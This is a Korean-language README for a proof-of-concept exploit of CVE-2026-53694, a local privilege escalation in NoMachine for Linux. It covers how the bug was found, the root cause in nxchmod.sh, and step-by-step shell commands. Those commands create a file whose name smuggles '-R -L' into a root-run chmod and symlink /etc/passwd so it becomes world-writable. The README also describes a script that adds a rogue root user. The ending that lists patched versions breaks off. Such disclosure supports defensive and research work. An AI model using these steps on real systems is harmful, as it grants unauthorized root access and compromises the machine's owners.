
CVE-2026-53694에 대한 개념 증명 익스플로잇 및 분석서로, Linux용 NoMachine에서 nxchmod.sh의 인수 삽입을 통한 로컬 권한 상승으로 심볼릭 링크 조작을 통해 루트 액세스를 가능하게 합니다.
이 저장소는 Linux용 NoMachine의 로컬 권한 상승(LPE) 취약점인 CVE-2026-53694에 대한 설명과 개념 증명(PoC)을 포함합니다.
nxchmod.sh 스크립트에서 인자 구분자의 부적절한 처리로 인해, 로컬의 권한 없는 사용자가 root로 실행되는 시스템 명령에 인자를 주입할 수 있습니다. 이 인자 주입과 심볼릭 링크를 결합하여 공격자는 중요한 시스템 파일(예: /etc/passwd)을 덮어쓰고 권한을 root로 상승시킬 수 있습니다.
이 취약점은 공급업체에 의해 완전히 패치되었습니다.
이 취약점을 발견한 것은 시행착오와 늦은 밤의 깨달음이었습니다. 다음은 발견 과정입니다:
/usr/NX/scripts/restricted/nxchmod.sh 스크립트가 특정 디렉터리의 권한을 관리하기 위해 root 사용자에 의해 주기적으로 실행되는 것을 발견했습니다.chmod a+rw를 적용하는 것을 보았습니다. '내가 대상을 제어한다면, 심볼릭 링크를 사용하여 /etc/passwd를 쓰기 가능하게 만들 수 있을까?'라고 생각했습니다. 표준 심볼릭 링크(ln -s /etc/passwd /tmp/asdf)를 테스트했지만 실패했습니다. /tmp와 같은 디렉터리의 Linux 스티키 비트는 root 사용자가 다른 사용자가 만든 심볼릭 링크를 무작정 따르지 못하게 합니다.${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}. 스크립트는 리터럴 파일 이름을 가져와 chmod에 직접 전달하고 있었습니다.X1234 -R -L이라는 이름의 파일을 만들었습니다. 스크립트가 실행될 때 chmod 명령은 이것을 단일 파일 경로가 아닌 인자로 확장했습니다.chmod 명령에 -L (심볼릭 링크 따르기) 및 -R (재귀) 플래그를 주입함으로써, chmod 바이너리 자체가 해당 디렉터리에 내가 만든 심볼릭 링크를 확인하고 따르도록 강제하여 스티키 비트 보호를 완전히 우회했습니다./etc/passwd가 쓰기 가능(a+rw)이 되면, 파일에 새로운 root 사용자를 추가하고 su를 통해 로그인할 수 있었습니다.취약점은 NoMachine이 X11/Wayland 소켓에 대한 권한을 처리하는 방식에서 비롯됩니다. nxchmod.sh 스크립트는 root로 실행되는 nxserver.bin 데몬에 의해 생성됩니다.
취약한 실행은 다음과 같습니다:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
공격자가 디렉터리 구조와 X1234 -R -L이라는 파일을 생성하면, root가 실행하는 명령은 다음과 같습니다:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
X1234 디렉터리 안에 /etc/passwd를 가리키는 심볼릭 링크를 배치하면, 주입된 -R 및 -L 인자가 chmod로 하여금 심볼릭 링크를 재귀적으로 따르도록 강제하여 대상 파일에 전역 읽기/쓰기 권한을 부여합니다.
이 익스플로잇이 작동하려면 대상 시스템이 다음 조건을 충족해야 합니다:
이 취약점은 셸 명령을 사용하여 수동으로, 또는 제공된 Python 스크립트를 사용하여 자동으로 재현할 수 있습니다.
/tmp/.X11-unix/로 이동하여 다음 명령을 실행하여 악의적인 디렉터리 구조를 만드세요.
cd /tmp/.X11-unix/
# 1. 악용 설정
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# nxchmod.sh가 실행될 때까지 기다립니다 (최대 60초 소요 가능).
# /etc/passwd의 권한이 -rw-rw-rw-로 변경되었는지 확인합니다.
# 이제 /etc/passwd를 편집하여 root 사용자를 추가할 수 있습니다.
취약점을 확인하고 권한을 상승시킨 후, 시스템 안정성을 복원하고 아티팩트를 제거하려면 다음 정리 명령을 실행하세요:
# 2. 정리
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
전체 자동화된 익스플로잇이 poc.py에 제공됩니다. 이 스크립트는 Wayland 요구 사항을 확인하고, 심볼릭 링크를 설정하며, nxchmod.sh 실행 주기를 기다린 후 새로운 root 사용자(gg)를 /etc/passwd에 주입합니다.
익스플로잇을 실행하려면:
python3 poc.py
이 취약점은 NoMachine에 의해 해결되었습니다. 사용자는 다음 버전 이상으로 업데이트해야 합니다: